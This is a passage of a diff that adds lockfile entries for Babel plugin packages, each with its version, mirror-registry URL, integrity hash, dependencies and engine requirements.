{ + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz", + "integrity": "sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9", + "@babel/plugin-transform-optional-chaining": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz", + "integrity": "sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.18.6", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz", + "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==", + "deprecated": "This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-decorators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.25.9.tgz", + "integrity": "sha512-smkNLL/O1ezy9Nhy4CNosc4Va+1wo5w4gzSZeLe6y6dM4mmHfYOCPolXQPHQxonZCF+ZyebxN9vqOolkYrSn5g==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/plugin-syntax-decorators": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.21.0-placeholder-for-preset-env.2", + "resolved": "https://registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.0-placeholder-for-preset-env.2.tgz", + "integrity": "sha512-SOSkfJDddaM7mak6cPEpswyTRnuRltl429hMraQEglW+OkovnCzsiszTmsrlY//qLFjCpQDFRvjdm2wA5pPm9w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-decorators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-decorators/-/plugin-syntax-decorators-7.25.9.tgz", + "integrity": "sha512-ryzI0McXUPJnRCvMo4lumIKZUzhYUO/ScI+Mz4YVaTLt04DHNSjEUjKVvbzQjZFLuod/cYEc07mJWhzl6v4DPg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-assertions": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-import-assertions/-/plugin-syntax-import-assertions-7.26.0.tgz", + "integrity": "sha512-QCWT5Hh830hK5EQa7XzuqIkQU9tT/whqbDz7kuaZMHFl1inRRg7JnuAEOQ0Ur0QUl0NufCk1msK2BeY79Aj/eg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-import-attributes": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-import-attributes/-/plugin-syntax-import-attributes-7.26.0.tgz", + "integrity": "sha512-e2dttdsJ1ZTpi3B9UYGLw41hifAubg19AtCu/2I/F1QNVclOBr1dYpTdmdyZ84Xiz43BS/tCUkMAZNLv12Pi+A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.25.9.tgz", + "integrity": "sha512-ld6oezHQMZsZfp6pWtbjaNDF2tiiCYYDqQszHt5VV437lewP9aSi2Of99CK0D0XB21k7FLgnLcmQKyKzynfeAA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-unicode-sets-regex": { + "version": "7.18.6", + "resolved": "https://registry.npmmirror.com/@babel/plugin-syntax-unicode-sets-regex/-/plugin-syntax-unicode-sets-regex-7.18.6.tgz", + "integrity": "sha512-727YkEAPwSIQTv5im8QHz3upqp92JTWhidIC81Tdx4VJYIte/VndKf1qKrfnnhPLiPghStWfvC/iFaMCQu7Nqg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.18.6", + "@babel/helper-plugin-utils": "^7.18.6" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.25.9.tgz", + "integrity": "sha512-6jmooXYIwn9ca5/RylZADJ+EnSxVUS5sjeJ9UPk6RWRzXCmOJCy6dqItPJFpw2cuCangPK4OYr5uhGKcmrm5Qg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-generator-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-async-generator-functions/-/plugin-transform-async-generator-functions-7.25.9.tgz", + "integrity": "sha512-RXV6QAzTBbhDMO9fWwOmwwTuYaiPbggWQ9INdZqAYeSHyG7FzQ+nOZaUUjNwKv9pV3aE4WFqFm1Hnbci5tBCAw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-remap-async-to-generator": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.25.9.tgz", + "integrity": "sha512-NT7Ejn7Z/LjUH0Gv5KsBCxh7BH3fbLTV0ptHvpeMvrt3cPThHfJfst9Wrb7S8EvJ7vRTFI7z+VAvFVEQn/m5zQ==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-remap-async-to-generator": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.25.9.tgz", + "integrity": "sha512-toHc9fzab0ZfenFpsyYinOX0J/5dgJVA2fm64xPewu7CoYHWEivIWKxkK2rMi4r3yQqLnVmheMXRdG+k239CgA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.25.9.tgz", + "integrity": "sha512-1F05O7AYjymAtqbsFETboN1NvBdcnzMerO+zlMyJBEz6WkMdejvGWw9p05iTSjC85RLlBseHHQpYaM4gzJkBGg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-class-properties/-/plugin-transform-class-properties-7.25.9.tgz", + "integrity": "sha512-bbMAII8GRSkcd0h0b4X+36GksxuheLFjP65ul9w6C3KgAamI3JqErNgSrosX6ZPj+Mpim5VvEbawXxJCyEUV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-class-static-block": { + "version": "7.26.0", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-class-static-block/-/plugin-transform-class-static-block-7.26.0.tgz", + "integrity": "sha512-6J2APTs7BDDm+UMqP1useWqhcRAXo0WIoVj26N7kPFB6S73Lgvyka4KTZYIxtgYXiN5HTyRObA72N2iu628iTQ==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-classes/-/plugin-transform-classes-7.25.9.tgz", + "integrity": "sha512-mD8APIXmseE7oZvZgGABDyM34GUmK45Um2TXiBUt7PnuAxrgoSVf123qUzPxEr/+/BHrRn5NMZCdE2m/1F8DGg==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9", + "@babel/traverse": "^7.25.9", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.25.9.tgz", + "integrity": "sha512-HnBegGqXZR12xbcTHlJ9HGxw1OniltT26J5YpfruGqtUHlz/xKf/G2ak9e+t0rVqrjXa9WOhvYPz1ERfMj23AA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/template": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.25.9.tgz", + "integrity": "sha512-WkCGb/3ZxXepmMiX101nnGiU+1CAdut8oHyEOHxkKuS1qKpU2SMXE2uSvfz8PBuLd49V6LEsbtyPhWC7fnkgvQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-dotall-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-dotall-regex/-/plugin-transform-dotall-regex-7.25.9.tgz", + "integrity": "sha512-t7ZQ7g5trIgSRYhI9pIJtRl64KHotutUJsh4Eze5l7olJv+mRSg4/MmbZ0tv1eeqRbdvo/+trvJD/Oc5DmW2cA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-keys": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-duplicate-keys/-/plugin-transform-duplicate-keys-7.25.9.tgz", + "integrity": "sha512-LZxhJ6dvBb/f3x8xwWIuyiAHy56nrRG3PeYTpBkkzkYRRQ6tJLu68lEF5VIqMUZiAV7a8+Tb78nEoMCMcqjXBw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-duplicate-named-capturing-groups-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-duplicate-named-capturing-groups-regex/-/plugin-transform-duplicate-named-capturing-groups-regex-7.25.9.tgz", + "integrity": "sha512-0UfuJS0EsXbRvKnwcLjFtJy/Sxc5J5jhLHnFhy7u4zih97Hz6tJkLU+O+FMMrNZrosUPxDi6sYxJ/EA8jDiAog==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-dynamic-import": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-dynamic-import/-/plugin-transform-dynamic-import-7.25.9.tgz", + "integrity": "sha512-GCggjexbmSLaFhqsojeugBpeaRIgWNTcgKVq/0qIteFEqY2A+b9QidYadrWlnbWQUrW5fn+mCvf3tr7OeBFTyg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-exponentiation-operator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-exponentiation-operator/-/plugin-transform-exponentiation-operator-7.25.9.tgz", + "integrity": "sha512-KRhdhlVk2nObA5AYa7QMgTMTVJdfHprfpAk4DjZVtllqRg9qarilstTKEhpVjyt+Npi8ThRyiV8176Am3CodPA==", + "dev": true, + "dependencies": { + "@babel/helper-builder-binary-assignment-operator-visitor": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-export-namespace-from": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-export-namespace-from/-/plugin-transform-export-namespace-from-7.25.9.tgz", + "integrity": "sha512-2NsEz+CxzJIVOPx2o9UsW1rXLqtChtLoVnwYHHiB04wS5sgn7mrV45fWMBX0Kk+ub9uXytVYfNP2HjbVbCB3Ww==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-for-of": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-for-of/-/plugin-transform-for-of-7.25.9.tgz", + "integrity": "sha512-LqHxduHoaGELJl2uhImHwRQudhCM50pT46rIBNvtT/Oql3nqiS3wOwP+5ten7NpYSXrrVLgtZU3DZmPtWZo16A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-function-name": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-function-name/-/plugin-transform-function-name-7.25.9.tgz", + "integrity": "sha512-8lP+Yxjv14Vc5MuWBpJsoUCd3hD6V9DgBon2FVYL4jJgbnVQ9fTgYmonchzZJOVNgzEgbxp4OwAf6xz6M/14XA==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-json-strings": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-json-strings/-/plugin-transform-json-strings-7.25.9.tgz", + "integrity": "sha512-xoTMk0WXceiiIvsaquQQUaLLXSW1KJ159KP87VilruQm0LNNGxWzahxSS6T6i4Zg3ezp4vA4zuwiNUR53qmQAw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-literals/-/plugin-transform-literals-7.25.9.tgz", + "integrity": "sha512-9N7+2lFziW8W9pBl2TzaNht3+pgMIRP74zizeCSrtnSKVdUl8mAjjOP2OOVQAfZ881P2cNjDj1uAMEdeD50nuQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-logical-assignment-operators": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-logical-assignment-operators/-/plugin-transform-logical-assignment-operators-7.25.9.tgz", + "integrity": "sha512-wI4wRAzGko551Y8eVf6iOY9EouIDTtPb0ByZx+ktDGHwv6bHFimrgJM/2T021txPZ2s4c7bqvHbd+vXG6K948Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-member-expression-literals": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.25.9.tgz", + "integrity": "sha512-PYazBVfofCQkkMzh2P6IdIUaCEWni3iYEerAsRWuVd8+jlM1S9S9cz1dF9hIzyoZ8IA3+OwVYIp9v9e+GbgZhA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-amd": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.25.9.tgz", + "integrity": "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-commonjs": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.25.9.tgz", + "integrity": "sha512-dwh2Ol1jWwL2MgkCzUSOvfmKElqQcuswAZypBSUsScMXvgdT8Ekq5YA6TtqpTVWH+4903NmboMuH1o9i8Rxlyg==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-simple-access": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-systemjs": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.25.9.tgz", + "integrity": "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9", + "@babel/traverse": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-modules-umd": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.25.9.tgz", + "integrity": "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw==", + "dev": true, + "dependencies": { + "@babel/helper-module-transforms": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.25.9.tgz", + "integrity": "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-new-target": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.25.9.tgz", + "integrity": "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.25.9.tgz", + "integrity": "sha512-ENfftpLZw5EItALAD4WsY/KUWvhUlZndm5GC7G3evUsVeSJB6p0pBeLQUnRnBCBx7zV0RKQjR9kCuwrsIrjWog==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.25.9.tgz", + "integrity": "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.25.9.tgz", + "integrity": "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg==", + "dev": true, + "dependencies": { + "@babel/helper-compilation-targets": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/plugin-transform-parameters": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.25.9.tgz", + "integrity": "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-replace-supers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.25.9.tgz", + "integrity": "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.25.9.tgz", + "integrity": "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9", + "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.25.9.tgz", + "integrity": "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.25.9.tgz", + "integrity": "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.25.9", + "@babel/helper-plugin-utils": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.25.9.tgz", + "integrity": "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.25.9", + 